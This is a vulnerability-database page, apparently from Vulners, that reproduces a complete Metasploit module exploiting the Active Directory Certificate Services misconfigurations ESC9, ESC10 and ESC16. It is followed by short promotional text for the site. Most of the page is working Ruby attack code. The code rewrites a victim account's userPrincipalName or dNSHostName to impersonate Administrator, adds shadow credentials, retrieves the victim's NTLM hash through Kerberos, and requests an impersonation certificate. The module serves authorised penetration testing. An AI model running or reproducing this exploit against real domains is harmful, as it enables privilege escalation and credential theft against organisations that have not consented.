Lucene search
K

Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16

🗓️ 31 Jul 2025 18:56:37Reported by Will Schroeder, Lee Christensen, Oliver Lyak, Spencer McIntyre, jheysel-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 571 Views

Exploits Active Directory Certificate Services misconfigurations ESC9, ESC10, ESC16 by updating an LDAP object to request a certificate.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'ruby_smb/dcerpc/client'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::LDAP
  include Msf::Exploit::Remote::LDAP::ActiveDirectory
  include Msf::Exploit::Remote::MsIcpr
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Exploit::Remote::DCERPC
  include Msf::Auxiliary::Report
  include Msf::OptionalSession::SMB

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16',
        'Description' => %q{
          This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
          ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
          The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
          admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is
          not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user
          and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as
          authentication.

          The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
          reverted after execution to maintain system integrity.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Will Schroeder', # original idea/research
          'Lee Christensen', # original idea/research
          'Oliver Lyak', # certipy implementation
          'Spencer McIntyre', # icpr_cert module implementation
          'jheysel-r7' # module implementation
        ],
        'References' => [
          [ 'URL', 'https://github.com/GhostPack/Certify' ],
          [ 'URL', 'https://github.com/ly4k/Certipy' ],
          [ 'URL', 'https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760' ],
          [ 'URL', 'https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc16-a-compatibility-mode' ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1098_ACCOUNT_MANIPULATION ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1649_STEAL_OR_FORGE_AUTHENTICATION_CERTIFICATES ]
        ],
        'Notes' => {
          'Reliability' => [],
          'Stability' => [],
          'SideEffects' => [ IOC_IN_LOGS ],
          'AKA' => [ 'ESC9', 'ESC10', 'ESC16']
        },
        'Actions' => [
          [ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]
        ],
        'DefaultAction' => 'REQUEST_CERT'
      )
    )

    deregister_options('PFX', 'ON_BEHALF_OF', 'Session', 'SMBuser', 'SMBPass', 'SMBDomain')

    register_options([
      OptString.new('LDAPDomain', [true, 'The domain to authenticate to']),
      OptString.new('LDAPUsername', [true, 'The username to authenticate with, who must have permissions to update the TARGET_USERNAME']),
      OptString.new('LDAPPassword', [true, 'The password to authenticate with']),
      OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),
      OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),
      OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser']),
      OptString.new('TARGET_PASSWORD', [false, 'The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticate as the TARGET_USERNAME'], aliases: ['SMBPass']),
      OptString.new('CertificateAuthorityRhost', [false, 'The IP Address of the CA. The module will attempt to resolve this via DNS if this is not set'])
    ])

    register_advanced_options(
      [
        OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
        OptInt.new('LDAPRport', [false, 'The target LDAP port.', 389]),
      ]
    )
  end

  # For more info on FQDN validation: https://stackoverflow.com/questions/11809631/fully-qualified-domain-name-validation
  def valid_fqdn?(str)
    str =~ /\A(?=.{1,253}\z)(?:(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.)+[a-zA-Z]{2,}\z/
  end

  def validate_options
    if datastore['UPDATE_LDAP_OBJECT'] == 'dNSHostName' && !valid_fqdn?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
      fail_with(Failure::BadConfig, "When UPDATE_LDAP_OBJECT is set to 'dNSHostName', UPDATE_LDAP_OBJECT_VALUE must be set to a valid FQDN.")
    end
  end

  def run
    @dc_ip = datastore['RHOSTS']
    validate_options
    send("action_#{action.name.downcase}")
  rescue MsIcprConnectionError, SmbIpcConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e
    fail_with(Failure::NoAccess, e.message)
  rescue MsIcprNotFoundError => e
    fail_with(Failure::NotFound, e.message)
  rescue MsIcprUnexpectedReplyError => e
    fail_with(Failure::UnexpectedReply, e.message)
  rescue MsIcprUnknownError => e
    fail_with(Failure::Unknown, e.message)
  end

  def call_ldap_object_module(action, value = nil)
    mod_refname = 'auxiliary/admin/ldap/ldap_object_attribute'

    print_status("Loading #{mod_refname}")
    ldap_update_module = framework.modules.create(mod_refname)

    unless ldap_update_module
      print_error("Failed to load module: #{mod_refname}")
      return
    end

    # Default to using the SMB credentials if LDAP credentials are not provided
    ldap_update_module = framework.modules.create(mod_refname)
    ldap_update_module.datastore['RHOST'] = datastore['RHOST']
    ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
    ldap_update_module.datastore['BASE_DN'] = datastore['BASE_DN']
    ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
    ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
    ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
    ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
    ldap_update_module.datastore['OBJECT'] = datastore['TARGET_USERNAME']
    ldap_update_module.datastore['ATTRIBUTE'] = datastore['UPDATE_LDAP_OBJECT']
    ldap_update_module.datastore['OBJECT_LOOKUP'] = 'sAMAccountName'
    ldap_update_module.datastore['VALUE'] = value
    ldap_update_module.datastore['ACTION'] = action

    print_status("Running #{mod_refname}")
    ldap_update_module.run_simple(
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => false
    )
  end

  def call_shadow_credentials_module(action, device_id = nil)
    mod_refname = 'admin/ldap/shadow_credentials'

    print_status("Loading #{mod_refname}")
    ldap_update_module = framework.modules.create(mod_refname)

    unless ldap_update_module
      print_error("Failed to load module: #{mod_refname}")
      return
    end

    # Default to using the SMB credentials if LDAP credentials are not provided
    ldap_update_module = framework.modules.create(mod_refname)
    ldap_update_module.datastore['RHOST'] = datastore['RHOST']
    ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
    ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
    ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
    ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
    ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
    ldap_update_module.datastore['TARGET_USER'] = datastore['TARGET_USERNAME']
    ldap_update_module.datastore['DEVICE_ID'] = device_id[:device_id] if action == 'remove' && device_id.present?
    ldap_update_module.datastore['ACTION'] = action

    print_status("Running #{mod_refname}")
    ldap_update_module.run_simple(
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => false
    )
  end

  def automate_get_hash(cert_path, username, domain, rhosts)
    mod_refname = 'admin/kerberos/get_ticket'

    print_status("Loading #{mod_refname}")
    get_ticket_module = framework.modules.create(mod_refname)

    unless get_ticket_module
      print_error("Failed to load module: #{mod_refname}")
      return
    end

    print_status("Getting hash for #{username}")
    get_ticket_module.datastore['CERT_FILE'] = cert_path
    get_ticket_module.datastore['USERNAME'] = username
    get_ticket_module.datastore['DOMAIN'] = domain
    get_ticket_module.datastore['RHOSTS'] = rhosts
    get_ticket_module.datastore['RPORT'] = 88
    get_ticket_module.datastore['ACTION'] = 'GET_HASH'

    res = get_ticket_module.run_simple(
      'LocalInput' => user_input,
      'LocalOutput' => user_output,
      'RunAsJob' => false
    )
    fail_with(Failure::Unknown, 'Failed to get hash for target user') unless res
    res
  end

  def action_request_cert
    new_value = datastore['UPDATE_LDAP_OBJECT_VALUE']
    # Get the original while updating (the update action returns the original value upon success)
    @original_value = call_ldap_object_module('UPDATE', new_value)
    fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])

    smbpass = ''

    if datastore['TARGET_PASSWORD'].present?
      smbpass = datastore['TARGET_PASSWORD']
    elsif datastore['LDAPUsername'] == datastore['TARGET_USERNAME']
      smbpass = datastore['LDAPPassword']
    else
      # Call the shadow credentials module to add the device and get the cert path
      print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
      @device_id, cert_path = call_shadow_credentials_module('add')
      smbpass = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
    end
    ca_ip = datastore['CertificateAuthorityRhost'].present? ? datastore['CertificateAuthorityRhost'] : resolve_ca_ip
    with_ipc_tree do |opts|
      datastore['SMBUser'] = datastore['TARGET_USERNAME']
      datastore['SMBPass'] = smbpass
      datastore['RHOSTS'] = ca_ip
      icpr_request_certificate(opts)
    end
  ensure
    datastore['RHOSTS'] = @dc_ip
    unless @device_id.nil?
      print_status('Removing shadow credential')
      call_shadow_credentials_module('remove', device_id: @device_id)
    end
    print_status('Reverting ldap object')
    revert_ldap_object
  end

  def resolve_ca_ip
    vprint_status('Finding CA server in LDAP')
    ca_servers = []
    ldap_connect(port: datastore['LDAPRport']) do |ldap|
      validate_bind_success!(ldap)
      if (@base_dn = datastore['BASE_DN'])
        print_status("User-specified base DN: #{@base_dn}")
      else
        print_status('Discovering base DN automatically')

        unless (@base_dn = ldap.base_dn)
          fail_with(Failure::NotFound, "Couldn't discover base DN!")
        end
      end
      ca_servers = adds_get_ca_servers(ldap)
      vprint_status("Found #{ca_servers.length} CA servers in LDAP")
    end

    if ca_servers.empty?
      fail_with(Msf::Module::Failure::UnexpectedReply, 'No Certificate Authority servers found in LDAP.')
      return
    else
      ca_servers.each do |ca|
        vprint_good("Found CA: #{ca[:name]} (#{ca[:dNSHostName]})")
      end
    end

    ca_entry = ca_servers.find { |ca| ca[:name].casecmp?(datastore['CA']) }

    unless ca_entry
      fail_with(Msf::Module::Failure::UnexpectedReply, "CA #{datastore['CA']} not found in LDAP. Checking registry values is unable to continue")
    end

    ca_dns_hostname = ca_entry[:dNSHostName]
    ca_ip_address = Rex::Socket.getaddress(ca_dns_hostname, false)
    unless ca_ip_address
      print_error("Unable to resolve the DNS Host Name of the CA server: #{ca_dns_hostname}. Checking registry values is unable to continue")
      return
    end
    ca_ip_address
  end

  def revert_ldap_object
    # If the UPN was changed the certificate we requested won't work until we revert the UPN change. If the
    # dnsHostName was changed the cert will still work however we'll revert the change to keep the system clean.
    if @original_value.to_s.empty?
      call_ldap_object_module('DELETE')
    else
      call_ldap_object_module('UPDATE', @original_value)
    end
  end

  # @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.
  # @return [void]
  def with_ipc_tree
    opts = {}
    if session
      print_status("Using existing session #{session.sid}")
      self.simple = session.simple_client
      opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")
    end

    yield opts
  ensure
    opts[:tree].disconnect! if opts[:tree]
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation